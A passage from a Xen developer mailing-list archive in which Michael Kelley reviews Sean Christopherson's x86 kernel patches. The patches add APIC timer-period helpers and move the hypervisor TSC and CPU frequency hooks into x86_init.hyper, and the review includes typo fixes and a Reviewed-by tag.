> at ~4.29 GHz.  As pointed out by Sashiko, 4294968 * 1000 =3D=3D 0x1_00000=
2c0,
> and thus a Khz period of 4294968 would silently overflow the 32-bit
> unsigned integer used by most callers.
>=20
> Signed-off-by: Sean Christopherson <seanjc@google.com>
> ---
>  arch/x86/include/asm/apic.h    |  3 ++-
>  arch/x86/kernel/apic/apic.c    | 12 +++++++++++-
>  arch/x86/kernel/cpu/mshyperv.c |  5 +----
>  arch/x86/kernel/cpu/vmware.c   |  4 +---
>  arch/x86/kernel/jailhouse.c    |  2 +-
>  arch/x86/kernel/tsc.c          |  2 +-
>  arch/x86/kernel/tsc_msr.c      |  2 +-
>  7 files changed, 18 insertions(+), 12 deletions(-)
>=20
> diff --git a/arch/x86/include/asm/apic.h b/arch/x86/include/asm/apic.h
> index 9cd493d467d4..cd84a94688a2 100644
> --- a/arch/x86/include/asm/apic.h
> +++ b/arch/x86/include/asm/apic.h
> @@ -63,7 +63,6 @@ extern int apic_verbosity;
>  extern int local_apic_timer_c2_ok;
>=20
>  extern bool apic_is_disabled;
> -extern unsigned int lapic_timer_period;
>=20
>  extern enum apic_intr_mode_id apic_intr_mode;
>  enum apic_intr_mode_id {
> @@ -138,6 +137,8 @@ void register_lapic_address(unsigned long address);
>  extern void setup_boot_APIC_clock(void);
>  extern void setup_secondary_APIC_clock(void);
>  extern void lapic_update_tsc_freq(void);
> +extern void apic_set_timer_period_hz(u64 period_hz, const char *source);
> +extern void apic_set_timer_period_khz(u64 period_khz, const char *source=
);
>=20
>  #ifdef CONFIG_X86_64
>  static inline bool apic_force_enable(unsigned long addr)
> diff --git a/arch/x86/kernel/apic/apic.c b/arch/x86/kernel/apic/apic.c
> index aa1e19979aa8..8d3d930576fd 100644
> --- a/arch/x86/kernel/apic/apic.c
> +++ b/arch/x86/kernel/apic/apic.c
> @@ -176,7 +176,7 @@ static struct resource lapic_resource =3D {
>  };
>=20
>  /* Measured in ticks per HZ. */
> -unsigned int lapic_timer_period =3D 0;
> +static unsigned int lapic_timer_period;
>=20
>  static void apic_pm_activate(void);
>=20
> @@ -796,6 +796,16 @@ bool __init apic_needs_pit(void)
>  	return lapic_timer_period =3D=3D 0;
>  }
>=20
> +void apic_set_timer_period_khz(u64 period_khz, const char *source)
> +{
> +	lapic_timer_period =3D mul_u64_u32_div(period_khz, 1000, HZ);
> +}
> +
> +void apic_set_timer_period_hz(u64 period_hz, const char *source)
> +{
> +	lapic_timer_period =3D div_u64(period_hz, HZ);
> +}

A string "source" argument is passed in, but not used. Is there an
envisioned future use? Also, this function doesn't output a pr_info()
message like the existing Hyper-V and VMware code does. I don't
know that the message is all that useful, though I do remember
one case where I was debugging some clock/timer issue when I
looked at it.=20

Michael

> +
>  static int __init calibrate_APIC_clock(void)
>  {
>  	struct clock_event_device *levt =3D this_cpu_ptr(&lapic_events);
> diff --git a/arch/x86/kernel/cpu/mshyperv.c b/arch/x86/kernel/cpu/mshyper=
v.c
> index 185d4f677ec0..87beecec76f0 100644
> --- a/arch/x86/kernel/cpu/mshyperv.c
> +++ b/arch/x86/kernel/cpu/mshyperv.c
> @@ -646,10 +646,7 @@ static void __init ms_hyperv_init_platform(void)
>  		u64	hv_lapic_frequency;
>=20
>  		rdmsrq(HV_X64_MSR_APIC_FREQUENCY, hv_lapic_frequency);
> -		hv_lapic_frequency =3D div_u64(hv_lapic_frequency, HZ);
> -		lapic_timer_period =3D hv_lapic_frequency;
> -		pr_info("Hyper-V: LAPIC Timer Frequency: %#x\n",
> -			lapic_timer_period);
> +		apic_set_timer_period_hz(hv_lapic_frequency, "Hyper-V hypervisor");
>  	}
>=20
>  	register_nmi_handler(NMI_UNKNOWN, hv_nmi_unknown, NMI_FLAG_FIRST,
> diff --git a/arch/x86/kernel/cpu/vmware.c b/arch/x86/kernel/cpu/vmware.c
> index 34b73573b108..36f779dd311d 100644
> --- a/arch/x86/kernel/cpu/vmware.c
> +++ b/arch/x86/kernel/cpu/vmware.c
> @@ -424,9 +424,7 @@ static void __init vmware_platform_setup(void)
>=20
>  #ifdef CONFIG_X86_LOCAL_APIC
>  		/* Skip lapic calibration since we know the bus frequency. */
> -		lapic_timer_period =3D ecx / HZ;
> -		pr_info("Host bus clock speed read from hypervisor : %u Hz\n",
> -			ecx);
> +		apic_set_timer_period_hz(ecx, "VMware hypervisor");
>  #endif
>  	} else {
>  		pr_warn("Failed to get TSC freq from the hypervisor\n");
> diff --git a/arch/x86/kernel/jailhouse.c b/arch/x86/kernel/jailhouse.c
> index f58ce9220e0f..f2d4ef89c085 100644
> --- a/arch/x86/kernel/jailhouse.c
> +++ b/arch/x86/kernel/jailhouse.c
> @@ -65,7 +65,7 @@ static void jailhouse_get_wallclock(struct timespec64 *=
now)
>=20
>  static void __init jailhouse_timer_init(void)
>  {
> -	lapic_timer_period =3D setup_data.v1.apic_khz * (1000 / HZ);
> +	apic_set_timer_period_khz(setup_data.v1.apic_khz, "Jailhouse hypervisor=
");
>  }
>=20
>  static unsigned long jailhouse_get_tsc(void)
> diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
> index ce10ae4b298b..f9ecc9256863 100644
> --- a/arch/x86/kernel/tsc.c
> +++ b/arch/x86/kernel/tsc.c
> @@ -717,7 +717,7 @@ unsigned long native_calibrate_tsc(void)
>  	 * lapic_timer_period here to avoid having to calibrate the APIC
>  	 * timer later.
>  	 */
> -	lapic_timer_period =3D crystal_khz * 1000 / HZ;
> +	apic_set_timer_period_khz(crystal_khz, "CPUID 0x15/0x16");
>  #endif
>=20
>  	return crystal_khz * ebx_numerator / eax_denominator;
> diff --git a/arch/x86/kernel/tsc_msr.c b/arch/x86/kernel/tsc_msr.c
> index 48e6cc1cb017..7e990871e041 100644
> --- a/arch/x86/kernel/tsc_msr.c
> +++ b/arch/x86/kernel/tsc_msr.c
> @@ -211,7 +211,7 @@ unsigned long cpu_khz_from_msr(void)
>  		pr_err("Error MSR_FSB_FREQ index %d is unknown\n", index);
>=20
>  #ifdef CONFIG_X86_LOCAL_APIC
> -	lapic_timer_period =3D (freq * 1000) / HZ;
> +	apic_set_timer_period_khz(freq, "MSR_FSB_FREQ");
>  #endif
>=20
>  	/*
> --
> 2.55.0.rc0.799.gd6f94ed593-goog
>=20



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 17:47:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 17:47:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352281.1609113 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfLVy-0006hz-MV; Thu, 02 Jul 2026 17:47:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352281.1609113; Thu, 02 Jul 2026 17:47:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfLVy-0006hs-Jb; Thu, 02 Jul 2026 17:47:54 +0000
Received: by outflank-mailman (input) for mailman id 1352281;
 Thu, 02 Jul 2026 17:47:52 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhklinux@outlook.com>) id 1wfLVw-0006fA-N5
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:47:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfLVt-007SXW-D1
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 19:47:49 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhklinux@outlook.com>)
 id 6a46a439-5cb7-0a2a0a5109dd-0a2a450cc90c-22
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 19:47:49 +0200
Received: from [52.103.23.25]
 (helo=PH7PR06CU001.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mhklinux@outlook.com>)
 id 6a46a443-f399-0a2a450c0019-346717197778-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 19:47:49 +0200
Received: from SN6PR02MB4157.namprd02.prod.outlook.com (2603:10b6:805:33::23)
 by LV8PR02MB10144.namprd02.prod.outlook.com (2603:10b6:408:18f::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Thu, 2 Jul 2026
 17:47:41 +0000
Received: from SN6PR02MB4157.namprd02.prod.outlook.com
 ([fe80::900:1ccf:2b1e:52b6]) by SN6PR02MB4157.namprd02.prod.outlook.com
 ([fe80::900:1ccf:2b1e:52b6%3]) with mapi id 15.21.0181.008; Thu, 2 Jul 2026
 17:47:41 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=outlook.com header.i="@outlook.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=LaxK4zXuiGCXZXF456keOKJXgW709FOg6P3jbzDmJXAoEM0vaxEAZnhN64nKumuMpGuJeIP4zR5n8FLKSKbpaX1IGuxLwzDI49e1ysNEWND7ojP9M04ogcMuDjYYPE3azbE+IBOA53CvuxwceFTiKzFkYpU0sE6s70ln16UJ/WwgpAQQAF4A6RfWuRVYGbldWNWRi3XjmPRUUS1iPNJR4yUNgQDKcKXJbe6r3zsc4XFgfruBap07izS0ikqUuLE7Rk+rxEXK6gkudrUK9kZu5WBR0EnXwuCy9fNjFuwt0YJJpDs0eLvzyUtomKJ8+mxm6tjDYUNjzgKl9xYhqJJzdw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ZWmMUitMLSZDRRLFU2IMOWfB8yb8tq9o5kiAKU/+UXc=;
 b=yOD/YrqEiEz/nNbQeXBvGd9DHcr+X0whRvpC8KqNqeGP3JPXGdPbFBRpjW6kKc67LSMDDkyM2QzQmqUa0uuo3uIjow1giLQc8GJ+yy429RQjGxmB1+x+V8rHkWndEAdHd6uqKmbLlkd/mCtWpCPsdwDtlxLPlaJ/4Aqqi1x1hjhxCvYN4vDo0JnD9I0yxhs5w61seDfvlBKaMrP8r6h1R9Z1gF82SW+d6eKEZnP41rf/LngRTsVzfnJcFJzN9nosDGpqlxVqbaQJ5Lgey8tWkaaI5fstbYfwcLNVadTbGDY1wciW2wr39YSPduZFDsisgmpDsd/eph8AWDb7UUuAwQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;
 dkim=none; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ZWmMUitMLSZDRRLFU2IMOWfB8yb8tq9o5kiAKU/+UXc=;
 b=b95GXywtL9sHqekRWnl7on4Jdi3+jwz7xFCYUrW/+CR3REAEJ1DtGX/Z3tq0r6il+kJXOqYI/9AT57BkkWg62ka1poRGMFFXcEWRJ/cIuOK3SmBFdDdb/172WuNObQ3RMwpa5+atmEUHylmE/wrPHHNeKk51aKP6adF77WuilH0FNmQ9qIY9Q+5EqWolqkQzOjD4GrTRYaqurR4D2aZ7F97w6lVFkYFH18NfLiOE0RX8nY5N2T+wy9k6i8SDa+MuwbeF0YmyWnIchGvHKBI5imfuL1AAU4RSw6Um9cu/y7iNReIpUqd1Mk0t7B7Wc+lVOVHqLhnUCgaMaxxIU0+hnw==
From: Michael Kelley <mhklinux@outlook.com>
To: Sean Christopherson <seanjc@google.com>, Jonathan Corbet <corbet@lwn.net>,
	Paolo Bonzini <pbonzini@redhat.com>, Thomas Gleixner <tglx@kernel.org>, Ingo
 Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, Dave Hansen
	<dave.hansen@linux.intel.com>, "x86@kernel.org" <x86@kernel.org>, Kiryl
 Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, "K.
 Y. Srinivasan" <kys@microsoft.com>, Haiyang Zhang <haiyangz@microsoft.com>,
	Wei Liu <wei.liu@kernel.org>, Dexuan Cui <decui@microsoft.com>, Long Li
	<longli@microsoft.com>, Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov
	<alexey.makhalov@broadcom.com>, Jan Kiszka <jan.kiszka@siemens.com>, Andy
 Lutomirski <luto@kernel.org>, Peter Zijlstra <peterz@infradead.org>, Juergen
 Gross <jgross@suse.com>, Daniel Lezcano <daniel.lezcano@kernel.org>, John
 Stultz <jstultz@google.com>
CC: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>, Broadcom internal kernel review list
	<bcm-kernel-feedback-list@broadcom.com>, Boris Ostrovsky
	<boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>,
	"linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
	"kvm@vger.kernel.org" <kvm@vger.kernel.org>, "linux-kernel@vger.kernel.org"
	<linux-kernel@vger.kernel.org>, "linux-coco@lists.linux.dev"
	<linux-coco@lists.linux.dev>, "linux-hyperv@vger.kernel.org"
	<linux-hyperv@vger.kernel.org>, "virtualization@lists.linux.dev"
	<virtualization@lists.linux.dev>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>, Tom Lendacky <thomas.lendacky@amd.com>,
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>,
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>,
	Thomas Gleixner <tglx@linutronix.de>
Subject: RE: [PATCH v5 11/51] x86/tsc: Add dedicated hypervisor hooks for
 getting known TSC/CPU frequencies
Thread-Topic: [PATCH v5 11/51] x86/tsc: Add dedicated hypervisor hooks for
 getting known TSC/CPU frequencies
Thread-Index: AQHdCZBiL1rak39MDUu25HviYbt1I7Zagp+Q
Date: Thu, 2 Jul 2026 17:47:41 +0000
Message-ID:
 <SN6PR02MB4157085BD25754FFC9D2F4F5D4F52@SN6PR02MB4157.namprd02.prod.outlook.com>
References: <20260701193212.749551-1-seanjc@google.com>
 <20260701193212.749551-12-seanjc@google.com>
In-Reply-To: <20260701193212.749551-12-seanjc@google.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: SN6PR02MB4157:EE_|LV8PR02MB10144:EE_
x-ms-office365-filtering-correlation-id: 608bedcf-0f7f-4e6a-a182-08ded86203c3
x-ms-exchange-slblob-mailprops:
 qdrM8TqeFBvhuFgLLe5qs4jWk9CHdv0ADgXhcmcD8O8NksmzWPYmQHlsojLAIeNVDHf3Hw8hrqAX1b7rewvdJkeLwglK1GqPSN+rhPZdyuNmalCV3p4r2isH8zBwRkZ/vUdAfUanUSF+uFm8IadQVbbnjn37buSKUrlNlyN8yOtMpzsTjhUiRaz3yRzTM9WOCE01L2M4nRD3JoOKUCQTqgsQNk5Byr/zbzhFjLryElOFQ/qaIj5RQarCkr0YoBTjWGOvBQfZMP03+BJF91BLDXcfJn3dfATMLoztSSmDufasc5VMapOQPQzXlPmnBSpeB2FE0iNU4uJPETFWCmQKO6dvWOcmAW6zYTIkN4PUv7t6k4SRSE6yxI/G6tzRdrYB+FS6ZY62ZDXbF7Au7OWlI7KoL7+G6W9vULkG0i3Ji414oLjAD1vSuIeHV071vj3gMjVY8oQBJT3kMqMxduHSRkmh4fVe0/79QNc/56hR0vWaNEYGA1CC6ALvO85kWYWuyZQqQfgKX8fK1358qHPPkEMGhIWF2By4r77iOREeioHRmh0caUE3Su59L7BH/qwE0CSFggwlB7rJp2XznOlmGx7V9BMNXHVYAaY3OvfWXQnGEy+n1UWlES0O1s2W5ucQLvbrYcOnb9mf9xhnSk7/1a0eEvQkSlx00oTwGZsWHv3Y1xbnHF+/kto9cyq8Cm1i24Ja4TnCVVVBdd8vtYcDyEy1twvtzPIFbXdlvs7o4pu5bH+O2+Pl3Db2Dgl7puY4sGY/WXAJNy4vhUnKfLnIi3KdTisQ6+58
x-microsoft-antispam:
 BCL:0;ARA:14566002|51005399006|19101099003|2604032031799003|37011999003|13091999003|8060799015|8062599012|31061999003|41001999006|19110799012|25010399006|15080799012|40105399003|102099032|440099028|3412199025|1710799026;
x-microsoft-antispam-message-info:
 =?us-ascii?Q?FjWRO8cQB0yTmG+KMmGFW0HenY9BSv4KQcfNr5+mYzBHqLcrBBlL7GNbiwZJ?=
 =?us-ascii?Q?24+az0axRiGnRTxFV5jVbWO3BYUpU4hWE/v6k1suyumA2SlZwd2o7VWUiWxa?=
 =?us-ascii?Q?V1ZTqjV9GZplqdZ5op/nmZBSVvKWtZNIh0pbAFiz4tRHaqx1b57/MHFY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jbY28/P0fOZBnGrutZE36Lp/8?=
 =?us-ascii?Q?pk7PdzMTwMnWxmCNToDeFAu4zHdA3vamiq9jpj0+v+eqy0urJIq3RiZIlA1p?=
 =?us-ascii?Q?+ncEq55wjexMmgYqv27zVIaoXSEXqpAx7ti1PTRc/076F/Aa7VE9QnpTS3b+?=
 =?us-ascii?Q?NbQoogfN6Uol9fjIoZjoHYbDDs7KZHxndEj9/jJtDubf1I97oHWVsxc8FvBN?=
 =?us-ascii?Q?PVF/XAjzUcoIPfuSll/p+WSzxM4RIgsUGyvsuSKAr8BJsiHm7gMfVpYrquZ0?=
 =?us-ascii?Q?DRgcjJClaYqtpHudZ+UDGfnUpa28hryUOiC3HIqPF9XeckB3rkg0E5lYwxIb?=
 =?us-ascii?Q?+UkJD0O0CykkcGVrrRIpi0p7uItZ7vP8CjG7HA5CSXuPPdPoNPAIu5nekx3F?=
 =?us-ascii?Q?2lFVkIGmXlPdbR9b7mviKrqmbEbHbXwJg1w3SC8KRKKdFfeQi3IACQlUs0sB?=
 =?us-ascii?Q?ZiyrJSA5z1wEDwwM+SKcnBjQxX3uDlif8CWezgpOCvPH+QD6C8n+y4+8GthW?=
 =?us-ascii?Q?nGaJuYmIyUYJh5tSL4vEosOdzPepUgmtZxZF3eTdnqv5IPIkJdt6IO41NbEF?=
 =?us-ascii?Q?+or5paPKFKqlKfjr8QGlV6C/sFrEprjxbX617KEJn0vfSK1piRdtwlsizP47?=
 =?us-ascii?Q?V5lAJ04lNQGk1UZOu2qFTo5Y7GSl1GzghIelRAffNdkTv0iol838Od8SkD8s?=
 =?us-ascii?Q?Ms9G1uA=3D?=
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: SN6PR02MB4157.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-CrossTenant-Network-Message-Id: 608bedcf-0f7f-4e6a-a182-08ded86203c3
X-MS-Exchange-CrossTenant-originalarrivaltime: 02 Jul 2026 17:47:41.4288
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa
X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV8PR02MB10144
X-purgate-ID: tlsNG-d25034/1783014469-A8AA8D51-9423B9BB/0/0
X-purgate-type: clean
X-purgate-size: 13687

From: Sean Christopherson <seanjc@google.com> Sent: Wednesday, July 1, 2026=
 12:32 PM
>=20
> Add dedicated hypervisor hooks for getting known TSC/CPU frequencies
> instead of overriding seemingly generic platform hooks, and explicitly
> priotize hypervisor-provided frequencies over native methods, but do NOT

s/priotize/prioritize/

> clobber the frequency obtained from trusted firmware.  While shuffling th=
e
> hooks around is arguably "six of one, half dozen of the other", scoping
> them to x86_hyper_init makes their purpose more obvious, and allows for
> explicitly defining the priority of sources (as is done here).
>=20
> As is already done when trusted firmware provides the TSC frequency, igno=
re

Word "ignore" is duplicated.

> ignore tsc_early_khz if the exact TSC frequency was obtained from the
> hypervisor, as attempting to refine the TSC frequency when running in a V=
M
> is all but guaranteed to cause problems sooner or later due to the
> calibration sources being emulated devices in the vast majority of setups=
.
>=20
> Cc: David Woodhouse <dwmw2@infradead.org>
> Signed-off-by: Sean Christopherson <seanjc@google.com>

For the Hyper-V changes,

Reviewed-by: Michael Kelley <mhklinux@outlook.com>=20

> ---
>  .../admin-guide/kernel-parameters.txt         |  3 +-
>  arch/x86/include/asm/acrn.h                   |  5 ----
>  arch/x86/include/asm/x86_init.h               |  4 +++
>  arch/x86/kernel/cpu/acrn.c                    | 10 +++++--
>  arch/x86/kernel/cpu/mshyperv.c                |  6 ++--
>  arch/x86/kernel/cpu/vmware.c                  |  8 ++---
>  arch/x86/kernel/jailhouse.c                   |  6 ++--
>  arch/x86/kernel/kvmclock.c                    |  6 ++--
>  arch/x86/kernel/tsc.c                         | 29 ++++++++++++++-----
>  arch/x86/xen/time.c                           |  4 +--
>  10 files changed, 50 insertions(+), 31 deletions(-)
>=20
> diff --git a/Documentation/admin-guide/kernel-parameters.txt b/Documentat=
ion/admin-
> guide/kernel-parameters.txt
> index 490e6aa72fc2..a387bb2c47e2 100644
> --- a/Documentation/admin-guide/kernel-parameters.txt
> +++ b/Documentation/admin-guide/kernel-parameters.txt
> @@ -7948,7 +7948,8 @@ Kernel parameters
>=20
>  			Note, tsc_early_khz is ignored if the TSC frequency is
>  			provided by trusted firmware when running as an SNP or
> -			TDX guest.
> +			TDX guest, or when the hypervisor provides the exact
> +			frequency via a paravirtual interface.
>=20
>  	tsx=3D		[X86] Control Transactional Synchronization
>  			Extensions (TSX) feature in Intel processors that
> diff --git a/arch/x86/include/asm/acrn.h b/arch/x86/include/asm/acrn.h
> index db42b477c41d..a892179c61c6 100644
> --- a/arch/x86/include/asm/acrn.h
> +++ b/arch/x86/include/asm/acrn.h
> @@ -32,11 +32,6 @@ static inline u32 acrn_cpuid_base(void)
>  	return 0;
>  }
>=20
> -static inline unsigned long acrn_get_tsc_khz(void)
> -{
> -	return cpuid_eax(ACRN_CPUID_TIMING_INFO);
> -}
> -
>  /*
>   * Hypercalls for ACRN
>   *
> diff --git a/arch/x86/include/asm/x86_init.h b/arch/x86/include/asm/x86_i=
nit.h
> index 953d3199408a..0c89bf40f507 100644
> --- a/arch/x86/include/asm/x86_init.h
> +++ b/arch/x86/include/asm/x86_init.h
> @@ -123,6 +123,8 @@ struct x86_init_pci {
>   * @msi_ext_dest_id:		MSI supports 15-bit APIC IDs
>   * @init_mem_mapping:		setup early mappings during init_mem_mapping()
>   * @init_after_bootmem:		guest init after boot allocator is finished
> + * @get_tsc_khz:		get the TSC frequency (returns 0 if frequency is unkno=
wn)
> + * @get_cpu_khz:		get the CPU frequency (returns 0 if frequency is unkno=
wn)
>   */
>  struct x86_hyper_init {
>  	void (*init_platform)(void);
> @@ -131,6 +133,8 @@ struct x86_hyper_init {
>  	bool (*msi_ext_dest_id)(void);
>  	void (*init_mem_mapping)(void);
>  	void (*init_after_bootmem)(void);
> +	unsigned int (*get_tsc_khz)(void);
> +	unsigned int (*get_cpu_khz)(void);
>  };
>=20
>  /**
> diff --git a/arch/x86/kernel/cpu/acrn.c b/arch/x86/kernel/cpu/acrn.c
> index dc119af83524..ad8f2da8003b 100644
> --- a/arch/x86/kernel/cpu/acrn.c
> +++ b/arch/x86/kernel/cpu/acrn.c
> @@ -24,13 +24,15 @@ static u32 __init acrn_detect(void)
>  	return acrn_cpuid_base();
>  }
>=20
> +static unsigned int __init acrn_get_tsc_khz(void)
> +{
> +	return cpuid_eax(ACRN_CPUID_TIMING_INFO);
> +}
> +
>  static void __init acrn_init_platform(void)
>  {
>  	/* Install system interrupt handler for ACRN hypervisor callback */
>  	sysvec_install(HYPERVISOR_CALLBACK_VECTOR, sysvec_acrn_hv_callback);
> -
> -	x86_platform.calibrate_tsc =3D acrn_get_tsc_khz;
> -	x86_platform.calibrate_cpu =3D acrn_get_tsc_khz;
>  }
>=20
>  static bool acrn_x2apic_available(void)
> @@ -78,4 +80,6 @@ const __initconst struct hypervisor_x86 x86_hyper_acrn =
=3D {
>  	.type			=3D X86_HYPER_ACRN,
>  	.init.init_platform     =3D acrn_init_platform,
>  	.init.x2apic_available  =3D acrn_x2apic_available,
> +	.init.get_tsc_khz	=3D acrn_get_tsc_khz,
> +	.init.get_cpu_khz	=3D acrn_get_tsc_khz,
>  };
> diff --git a/arch/x86/kernel/cpu/mshyperv.c b/arch/x86/kernel/cpu/mshyper=
v.c
> index 87beecec76f0..f9bc1c2d8c93 100644
> --- a/arch/x86/kernel/cpu/mshyperv.c
> +++ b/arch/x86/kernel/cpu/mshyperv.c
> @@ -395,7 +395,7 @@ static int hv_nmi_unknown(unsigned int val, struct pt=
_regs *regs)
>  }
>  #endif
>=20
> -static unsigned long hv_get_tsc_khz(void)
> +static unsigned int __init hv_get_tsc_khz(void)
>  {
>  	unsigned long freq;
>=20
> @@ -573,8 +573,8 @@ static void __init ms_hyperv_init_platform(void)
>=20
>  	if (ms_hyperv.features & HV_ACCESS_FREQUENCY_MSRS &&
>  	    ms_hyperv.misc_features & HV_FEATURE_FREQUENCY_MSRS_AVAILABLE) {
> -		x86_platform.calibrate_tsc =3D hv_get_tsc_khz;
> -		x86_platform.calibrate_cpu =3D hv_get_tsc_khz;
> +		x86_init.hyper.get_tsc_khz =3D hv_get_tsc_khz;
> +		x86_init.hyper.get_cpu_khz =3D hv_get_tsc_khz;
>  		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
>  	}
>=20
> diff --git a/arch/x86/kernel/cpu/vmware.c b/arch/x86/kernel/cpu/vmware.c
> index 13b97265c535..3cb473cae462 100644
> --- a/arch/x86/kernel/cpu/vmware.c
> +++ b/arch/x86/kernel/cpu/vmware.c
> @@ -64,7 +64,7 @@ struct vmware_steal_time {
>  	u64 reserved[7];
>  };
>=20
> -static unsigned long vmware_tsc_khz __ro_after_init;
> +static unsigned long vmware_tsc_khz __initdata;
>  static u8 vmware_hypercall_mode     __ro_after_init;
>=20
>  unsigned long vmware_hypercall_slow(unsigned long cmd,
> @@ -137,7 +137,7 @@ static inline int __vmware_platform(void)
>  	return eax !=3D UINT_MAX && ebx =3D=3D VMWARE_HYPERVISOR_MAGIC;
>  }
>=20
> -static unsigned long vmware_get_tsc_khz(void)
> +static unsigned int __init vmware_get_tsc_khz(void)
>  {
>  	return vmware_tsc_khz;
>  }
> @@ -419,8 +419,8 @@ static void __init vmware_platform_setup(void)
>  		}
>=20
>  		vmware_tsc_khz =3D tsc_khz;
> -		x86_platform.calibrate_tsc =3D vmware_get_tsc_khz;
> -		x86_platform.calibrate_cpu =3D vmware_get_tsc_khz;
> +		x86_init.hyper.get_tsc_khz =3D vmware_get_tsc_khz;
> +		x86_init.hyper.get_cpu_khz =3D vmware_get_tsc_khz;
>=20
>  		/* Skip lapic calibration since we know the bus frequency. */
>  		apic_set_timer_period_hz(ecx, "VMware hypervisor");
> diff --git a/arch/x86/kernel/jailhouse.c b/arch/x86/kernel/jailhouse.c
> index f2d4ef89c085..e24c05ab4fae 100644
> --- a/arch/x86/kernel/jailhouse.c
> +++ b/arch/x86/kernel/jailhouse.c
> @@ -68,7 +68,7 @@ static void __init jailhouse_timer_init(void)
>  	apic_set_timer_period_khz(setup_data.v1.apic_khz, "Jailhouse hypervisor=
");
>  }
>=20
> -static unsigned long jailhouse_get_tsc(void)
> +static unsigned int __init jailhouse_get_tsc(void)
>  {
>  	return precalibrated_tsc_khz;
>  }
> @@ -210,8 +210,6 @@ static void __init jailhouse_init_platform(void)
>  	x86_init.mpparse.parse_smp_cfg		=3D jailhouse_parse_smp_config;
>  	x86_init.pci.arch_init			=3D jailhouse_pci_arch_init;
>=20
> -	x86_platform.calibrate_cpu		=3D jailhouse_get_tsc;
> -	x86_platform.calibrate_tsc		=3D jailhouse_get_tsc;
>  	x86_platform.get_wallclock		=3D jailhouse_get_wallclock;
>  	x86_platform.legacy.rtc			=3D 0;
>  	x86_platform.legacy.warm_reset		=3D 0;
> @@ -293,5 +291,7 @@ const struct hypervisor_x86 x86_hyper_jailhouse __ref=
const =3D {
>  	.detect			=3D jailhouse_detect,
>  	.init.init_platform	=3D jailhouse_init_platform,
